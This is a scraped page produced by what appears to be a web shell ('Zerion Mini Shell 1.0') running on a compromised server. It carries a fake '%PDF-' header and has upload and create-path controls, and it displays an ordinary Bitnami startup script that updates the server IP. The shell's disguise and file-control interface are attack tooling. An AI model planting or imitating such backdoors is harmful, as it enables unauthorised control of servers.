%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/bitnami/var/init/post-start/
Upload File :
Create Path :
Current File : /opt/bitnami/var/init/post-start/030_update_ip

#!/bin/sh
# 
# Update the application DNS / Public IP configuration
# Copyright 2020 Bitnami.com All Rights Reserved
#

. /opt/bitnami/scripts/init/functions

if [ "x$1" != "x" ]; then
  IP=$1
else
  IP=`get_server_domain`
fi

if [ $? -eq 0 ] && [ "x$IP" != "x" ] ; then
  for BNCONFIG in `find /opt/bitnami /opt/bitnami/apps -maxdepth 2 -name bnconfig -executable` ; do
    $BNCONFIG --machine_hostname $IP
  done
fi

Zerion Mini Shell 1.0